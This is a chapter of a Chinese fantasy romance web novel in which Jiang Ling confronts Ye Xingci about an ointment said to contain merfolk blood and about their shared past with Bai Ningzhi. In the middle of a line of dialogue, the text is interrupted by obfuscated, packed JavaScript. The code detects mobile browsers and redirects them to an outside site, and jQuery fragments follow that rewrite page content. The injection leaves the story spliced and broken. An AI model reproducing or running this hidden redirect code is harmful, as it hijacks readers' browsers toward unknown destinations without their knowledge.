她又补了句:“你要尝尝吗?”
纪明熙微微勾唇,转过身来,拉开凳子坐在她对面:“你喝吧。”顿了顿,见江聆没再开口说什么,他又问:“好喝吗?”
江聆点点头,毫不吝啬给反馈:“嗯,酸酸甜甜的。”
纪明熙很是自然地摸了摸鼻子,嘴角却忍不住又勾起。
去往机场的路上,江聆坐在副驾驶座上,目光不经意地停在中控台上的那盆小盆栽,细枝大叶,叶子是心形状的。
瞅了好几眼,她问一旁驾驶位上的男人,“这小盆栽,是你的朋友吗?”
纪明熙看着路,闻言道:“为什么这么问?”
“它的叶子和那天早上从你头顶上长出来的绿叶子,一模一样,我猜是你的树同伴。”说到这里,江聆把目光挪向纪明熙的头发,一如初见时的及颌卷发,忽然一阵惊奇:“诶?你的头发又长出来了,长得这么快啊?”
纪明熙道:“我还以为你会问,我是不是戴了假发。”
“切,小看我的观察力。”江聆神气地皱皱鼻子,又问:“你头发为什么长这么快?”
纪明熙打着方向盘变道,等车驶上主路后,回道:“当然归功于我的朋友了。”
江聆反应了几秒,看向小盆栽:“不是吧,真是你朋友啊?我这也能猜对?”
她一下来了兴趣,又问道:“那它是怎么帮你的,难道是使用某种奇幻的木系魔法?把你的头发变出来?它也是树吗?”
江聆丢过来一连串的问题,听得纪明熙一阵失笑,回道:“对,还是一棵小苗。”
江聆好奇地上手摸了摸盆栽的绿叶子,纪明熙一个激灵,一反沉稳,急急制止道:“别。”
“别什么?”江聆又摸上另外一片叶子。
她触摸的动作一点点覆上皮肤,纪明熙手指攥紧方向盘,整个人状态僵硬的格外异常,紧绷着嗓音再次制止道:“别摸,它有点怕生。”
江聆一怔,忙抽回手,眼底的好奇光芒却陡然大盛:“你的意思是,这颗小树苗已经有了自己的意识,能接受到外界给它的任何反馈?所以你的头发也是通过你和它交流后,帮你长出来的?”
纪明熙根本分不出来心思去听她说了什么,胡乱“嗯”了声,看着周边的路况及时转移话题:“快到了,我找地方停车。”
停好车后,由于江聆不是很熟悉去往机场接机口的路线,由纪明熙负责带路。
他们到机场的时候差不多七点五十,走到接机口时刚刚八点,可是任凭江聆左顾右盼近一刻钟,也不见夜星瓷的身影出现。
“你在找什么?”一道女声从身后响起,驱赶了江聆的沮丧。
她连忙转头,来人正是一身黑裙的夜星瓷,正一脸嫌弃地看着她。旁边站着一身白衣戴眼镜的任屏禾,面无表情,浑身冒着冷气。
江聆郁闷的心情一扫而空,乐颠颠地上前道:“我有点事情要请教一下你,我们找个地方坐下聊一聊?”
“不行,她需要休息。”任屏禾冷声拒绝。
听到任屏禾的话,夜星瓷原本要拒绝的话在舌尖打了个转,笑吟吟地看向江聆:“走吧。”
任屏禾脸色不变,跨步挡在夜星瓷面前,淡声道:“你现在需要回家,然后吃药,休息。”
夜星瓷沉着脸,毫不遮掩眸中的厌恶:“我说任屏禾,你贱不贱呢?我有巴巴求着你吗?这有你什么事?我是死是活和你有什么关系?别整天像只死皮赖脸的狗一样跑我面前来恶心人,你最好有多远滚多远。我讨厌你恨你,巴不得你出门被车撞死!滚!”
“……吃药休息的时间快到了,”任屏禾就像是听不到看不到夜星瓷言语中和眼神中的恶意,没有任何情绪波动地,再一次平静重复。“先回家吧。”
夜星瓷像是一拳头砸在棉花上,憋闷地撞开任屏禾,拉着江聆就走。
任屏禾追上来,对着江聆冷漠道:“她身体不好,不能受刺激。你适可而止,不该问的不要问。”
江聆还没来得及说话,夜星瓷替她回了一声:“滚!”
两人展开对话的时候,纪明熙和任屏禾候在车外面。
车内,夜星瓷微微平缓了刚刚因情绪激动而过快的心率,调整好呼吸节奏,开口道:“说吧,你要问什么?”
江聆笑眯眯道:“我还以为你会拒绝我,你和传言中的一点也不一样。”
夜星瓷皱眉,“我没时间听你和我磨磨唧唧套这种近乎,说重点。”
江聆当即收起客套的笑,利索开口:“你就是白宁稚当初救的那个人对吗?”
夜星瓷嘲讽:“怎么,真以为自己是白宁稚,上门挟恩图报来了?”
江聆摊手:“你非要这么理解我的来意也行。我们敞亮点说,既然曾经白宁稚救你一命,你不知感恩也罢,为什么还要忘恩负义下手迫害她的同族呢?”
夜星瓷没理解她这没有缘由的指控,皱眉:“有病下车左转医院精神科,别在我这里抽风。”
江聆拿出药膏递到她面前,一字一句道:“你是真听不懂,还是故意装听不懂?这个药膏的主要成分是鲛人血,可以美容养颜,但变美的代价就是……”
夜星瓷的脸色随着江聆话里的内容,逐渐黑沉下去,“你什么意思?”
江聆步步紧逼:“这个药膏是你研究的吧?或者说你是研发药膏的幕后主使?”
夜星瓷情绪忽然激动,呼吸急促着,几秒间涨红了脸,高声喝止:“你闭嘴!我怎么可能……”
江聆紧追着不放:“怎么可能不是你?白宁稚可是用她的血救过你,鲛人血有什么功效,你应该最清楚不过了吧?”
夜星瓷忽然一顿,因听到“鲛人血”等字眼刺激出的情绪,平歇了下来,她恢复冷静,怒瞪着江聆:“你诈我?”
江聆摇摇头,面色不变,让人瞧不出什么情绪,继续道:“你怎么肯定我就是在诈你呢?万一我手里真有什么证据?”
夜星瓷冷笑:“因为鲛人血压根就没有什么美容养颜的功效。”
江聆把玩着手中的药膏:“可是用鲛人血制作的美容药膏,现在出现了,功效
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528236|203616||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和……若亚口服液,一模一样。”
后半句话江聆说的很慢,刻意停顿时,紧紧地盯着对方的脸。
夜星瓷躲无可躲,颤动的眼眸几乎将她竭力想遮掩秘密暴露无遗。
没有放过她脸上丝毫情绪的江聆立即印证了猜测:当年夜星瓷,曾喝过若亚口服液。
夜星瓷故作镇定:“你怎么就确信这里面有鲛人血?”
江聆定定地看着夜星瓷的眼睛:“你难道猜不出来?”
夜星瓷看着她的眼睛,似乎在博弈似的死命对抗,可她无比清晰地看到江聆眼中的坚定和笃然,无可撼动。
眼前这个名叫江聆的被群起嘲讽的冒牌货白小姐,现在正无比坚定的确认出药膏的鲛人血成分。
可是……
可是,能够十足确定药膏里面有鲛人血的,要么是研制出药膏的人,要么就是……鲛人啊。
眼前的江聆,和白宁稚如此相像,如果她是鲛人,那么她到底是不是真正的白宁稚,答案几乎呼之欲出。
不过一个猜测,夜星瓷抖着眼睫移开眼眸,呼吸骤然急促起来,眼见有哮喘发作的迹象。
江聆脸色微变,忙上前找出她手包里的哮喘喷雾,扶着她的手喷向口鼻处。
等夜星瓷渐渐缓过劲来,江聆低声道:“抱歉。”
夜星瓷的眼睛不知何时泛了红,也许是刚刚病症发作时的急喘引起,也许是忆及一些不堪回首的往事……
她怔怔地抬眼看着江聆,语气犹豫的像个寻求渺茫希望的孤儿,试探道:“她还好吗?”
“……她是谁?”
“白宁稚。”夜星瓷仿佛变了一个人,柔软的没有任何尖刺和棱角,喃喃道:“我一贯喜欢叫她阿蘩……”
江聆摇摇头,诚实道:“我不知道,我没见过她。只是做过一个有关于她的梦,其余都是听别人说。”
“梦里都有什么?”
“她在拼命地跑,竭力地喊着找‘妈妈’;她变成鲛人的样子,很多人都围着她,喊她的名字。”
夜星瓷痛苦地闭上眼,“后来呢?后来她找到妈妈了吗?”
“不知道。”江聆摇摇头,“你可以和我讲讲她吗?她的故事,她是一个什么样的人,或者她在你记忆里留下了什么印象?”
夜星瓷的声音不知不觉缓慢下来,有些飘忽:“和你很像。”
江聆恍然:“所以那天你才会把我错认成她?”
夜星瓷“嗯”了一声,偏头观察着江聆,忽然意味不明地轻笑一声:“但也不像。她没你这么没心没肺,没有你的厚脸皮,没有你世故圆滑,待人接物也没有你长袖善舞游刃有余。她天真得像个兔子,你狡猾得像只狐狸。”
江聆摸了摸鼻子,侧身抽过一瓶水,拧开递给夜星瓷,笑眯眯道:“谢谢夸奖。”
夜星瓷哼一声,接过水喝了几口,“你的问题问完了吗?”
也许是这片刻的温馨为江聆积攒了些许越界的勇气,她沉默了几秒,直白问道:“你知道若亚口服液的解药是什么吗?”